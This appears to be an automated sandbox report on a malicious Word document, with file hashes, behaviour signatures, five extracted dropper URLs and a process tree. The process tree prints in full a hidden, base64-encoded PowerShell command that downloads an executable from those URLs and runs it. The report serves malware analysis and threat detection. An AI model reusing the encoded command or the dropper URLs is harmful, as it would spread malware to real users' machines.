Resubmissions

13/04/2025, 16:26

250413-txps2azwdw 10

Analysis

  • max time kernel
    133s
  • max time network
    129s
  • platform
    windows11-21h2_x64
  • resource
    win11-20250410-en
  • resource tags

    arch:x64arch:x86image:win11-20250410-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    13/04/2025, 16:26

General

  • Target

    virusshare/3/VirusShare_6ad036ba93c94d6976e2d93c7a3aec6f.doc

  • Size

    172KB

  • MD5

    6ad036ba93c94d6976e2d93c7a3aec6f

  • SHA1

    cb098f7a0492454a31f3819a1b7ec143c0c507b6

  • SHA256

    4ee0bf78e3b0a06c35fed0f912db6fabbb5fae13f838cd4132634359ad0d24da

  • SHA512

    525d3ccb7078d6c34287307891023a47773cb3ec94d6e5d54a4c2cb4006be5ae3356238e8fe4ce5ff17767b8326af385a2be735dac8dbe78f10c185c665f7a00

  • SSDEEP

    3072:vw2y/GdyrktGDWLS0HZWD5w8K7Nk9pD7IBUaT7jc5Hw:vw2k4jtGiL3HJk9pD7b+jMQ

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://www.prorites.com/wp-content/dsdb28de-kw0ch1msvi-003/

exe.dropper

https://www.silvesterinmailand.com/wp-content/uploads/ibvgux-yg4-03475/

exe.dropper

http://homemyland.net/tmp/wUHdeBS/

exe.dropper

https://www.celbra.com.br/old/wp-content/uploads/2019/mbwl6-lwu0psmcb-523/

exe.dropper

http://prihlaska.sagitta.cz/wp-content/uploads/WwcQXtRta/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\virusshare\3\VirusShare_6ad036ba93c94d6976e2d93c7a3aec6f.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5856
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:4936
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABCAHgAdQBoAGkAaABuAHIAdwBrAHoAbgBiAD0AJwBRAHIAYQBnAGkAcAB4AHcAZwAnADsAJABBAG4AdwBtAGkAdwBiAHUAegBoAHAAIAA9ACAAJwAyADEANgAnADsAJABUAHoAbgBsAG8AaQB5AGoAZgA9ACcASABzAHcAeQBkAGQAdwB5AGcAaQBzAGQAaAAnADsAJABUAG4AcwBlAHIAdABrAGQAegBlAHAAegA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAQQBuAHcAbQBpAHcAYgB1AHoAaABwACsAJwAuAGUAeABlACcAOwAkAEEAZwBkAGIAbgBjAHAAYQB0AHMAPQAnAEwAZQBkAGUAYwBsAHYAcwBvAGwAcgB0AHQAJwA7ACQAVwBuAGsAdgB4AHcAYgBhAD0AJgAoACcAbgAnACsAJwBlAHcALQBvACcAKwAnAGIAJwArACcAagBlAGMAdAAnACkAIABOAGUAdAAuAFcAZQBCAEMATABpAEUAbgBUADsAJABXAHoAagBsAGkAbABqAGMAZQA9ACcAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAHAAcgBvAHIAaQB0AGUAcwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGQAcwBkAGIAMgA4AGQAZQAtAGsAdwAwAGMAaAAxAG0AcwB2AGkALQAwADAAMwAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AcwBpAGwAdgBlAHMAdABlAHIAaQBuAG0AYQBpAGwAYQBuAGQALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AHAAbABvAGEAZABzAC8AaQBiAHYAZwB1AHgALQB5AGcANAAtADAAMwA0ADcANQAvACoAaAB0AHQAcAA6AC8ALwBoAG8AbQBlAG0AeQBsAGEAbgBkAC4AbgBlAHQALwB0AG0AcAAvAHcAVQBIAGQAZQBCAFMALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGMAZQBsAGIAcgBhAC4AYwBvAG0ALgBiAHIALwBvAGwAZAAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AHAAbABvAGEAZABzAC8AMgAwADEAOQAvAG0AYgB3AGwANgAtAGwAdwB1ADAAcABzAG0AYwBiAC0ANQAyADMALwAqAGgAdAB0AHAAOgAvAC8AcAByAGkAaABsAGEAcwBrAGEALgBzAGEAZwBpAHQAdABhAC4AYwB6AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHUAcABsAG8AYQBkAHMALwBXAHcAYwBRAFgAdABSAHQAYQAvACcALgAiAHMAcABgAGwAaQB0ACIAKAAnACoAJwApADsAJABNAHkAYgB3AGYAZQBmAGgAcgA9ACcAUgB0AHMAcwBkAGcAdQBlAGwAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFoAbABxAHYAcQBnAHMAZgB4AGoAYwByAGEAIABpAG4AIAAkAFcAegBqAGwAaQBsAGoAYwBlACkAewB0AHIAeQB7ACQAVwBuAGsAdgB4AHcAYgBhAC4AIgBEAG8AYABXAG4ATABgAE8AQQBkAEYAaQBsAEUAIgAoACQAWgBsAHEAdgBxAGcAcwBmAHgAagBjAHIAYQAsACAAJABUAG4AcwBlAHIAdABrAGQAegBlAHAAegApADsAJABEAHAAcgBtAG4AdQBvAHAAPQAnAEUAdgBjAGIAcwB2AGQAdABnACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJAHQAJwArACcAZQAnACsAJwBtACcAKQAgACQAVABuAHMAZQByAHQAawBkAHoAZQBwAHoAKQAuACIAbABlAG4AZwBgAFQASAAiACAALQBnAGUAIAAzADcANgA2ADkAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwB0AGEAYABSAHQAIgAoACQAVABuAHMAZQByAHQAawBkAHoAZQBwAHoAKQA7ACQAWQB1AGIAYQB2AGkAbAB6AHAAeQBuAGsAdgA9ACcAVABxAGsAdABiAHcAeABtAHkAJwA7AGIAcgBlAGEAawA7ACQATABrAHIAawBlAHcAcQBlAHIAeABrAD0AJwBHAGUAawBzAGcAaQBzAGYAZwByAGoAZAB3ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEMAYgBoAGQAbABmAHcAYgBoAGUAPQAnAFUAcgB0AGgAaQBkAGwAbQB4AG0AZQAnAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4632

    Network

    MITRE ATT&CK Enterprise v16

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\AB193EF4.wmf

      Filesize

      444B

      MD5

      7e2f57fa0599471404983cd1048fbb93

      SHA1

      fe00d1e2345ca466a844f343a2c098ed19ea2601

      SHA256

      f4e97690e10dbb9686fd7a187ef6cc660c21968af3a976fc0d67f77fda8b7dbc

      SHA512

      6963722c8c54ae0e8fb74ab04dd0d59ade892eedf3e41af24f86701356d4d77d59641e4a95519404adc1451fd1e3c8980a256677b19a6258dcb5fc42a1de9e36

    • C:\Users\Admin\AppData\Local\Temp\TCD1FDF.tmp\iso690.xsl

      Filesize

      263KB

      MD5

      ff0e07eff1333cdf9fc2523d323dd654

      SHA1

      77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

      SHA256

      3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

      SHA512

      b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2bsmyql0.330.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/4632-51-0x0000014340290000-0x00000143402B2000-memory.dmp

      Filesize

      136KB

    • memory/5856-7-0x00007FF983410000-0x00007FF983420000-memory.dmp

      Filesize

      64KB

    • memory/5856-20-0x00007FF9C3380000-0x00007FF9C3589000-memory.dmp

      Filesize

      2.0MB

    • memory/5856-8-0x00007FF9C3380000-0x00007FF9C3589000-memory.dmp

      Filesize

      2.0MB

    • memory/5856-0-0x00007FF983410000-0x00007FF983420000-memory.dmp

      Filesize

      64KB

    • memory/5856-5-0x00007FF9C3380000-0x00007FF9C3589000-memory.dmp

      Filesize

      2.0MB

    • memory/5856-4-0x00007FF983410000-0x00007FF983420000-memory.dmp

      Filesize

      64KB

    • memory/5856-10-0x00007FF9C3380000-0x00007FF9C3589000-memory.dmp

      Filesize

      2.0MB

    • memory/5856-13-0x00007FF9C3380000-0x00007FF9C3589000-memory.dmp

      Filesize

      2.0MB

    • memory/5856-12-0x00007FF9C3380000-0x00007FF9C3589000-memory.dmp

      Filesize

      2.0MB

    • memory/5856-14-0x00007FF9C3380000-0x00007FF9C3589000-memory.dmp

      Filesize

      2.0MB

    • memory/5856-15-0x00007FF981080000-0x00007FF981090000-memory.dmp

      Filesize

      64KB

    • memory/5856-11-0x00007FF9C3380000-0x00007FF9C3589000-memory.dmp

      Filesize

      2.0MB

    • memory/5856-18-0x00007FF9C3380000-0x00007FF9C3589000-memory.dmp

      Filesize

      2.0MB

    • memory/5856-9-0x00007FF9C3380000-0x00007FF9C3589000-memory.dmp

      Filesize

      2.0MB

    • memory/5856-19-0x00007FF981080000-0x00007FF981090000-memory.dmp

      Filesize

      64KB

    • memory/5856-17-0x00007FF9C3380000-0x00007FF9C3589000-memory.dmp

      Filesize

      2.0MB

    • memory/5856-16-0x00007FF9C3380000-0x00007FF9C3589000-memory.dmp

      Filesize

      2.0MB

    • memory/5856-6-0x00007FF9C3380000-0x00007FF9C3589000-memory.dmp

      Filesize

      2.0MB

    • memory/5856-2-0x00007FF983410000-0x00007FF983420000-memory.dmp

      Filesize

      64KB

    • memory/5856-3-0x00007FF983410000-0x00007FF983420000-memory.dmp

      Filesize

      64KB

    • memory/5856-62-0x00007FF9C3380000-0x00007FF9C3589000-memory.dmp

      Filesize

      2.0MB

    • memory/5856-63-0x00007FF9C3423000-0x00007FF9C3424000-memory.dmp

      Filesize

      4KB

    • memory/5856-64-0x00007FF9C3380000-0x00007FF9C3589000-memory.dmp

      Filesize

      2.0MB

    • memory/5856-67-0x00007FF9C3380000-0x00007FF9C3589000-memory.dmp

      Filesize

      2.0MB

    • memory/5856-1-0x00007FF9C3423000-0x00007FF9C3424000-memory.dmp

      Filesize

      4KB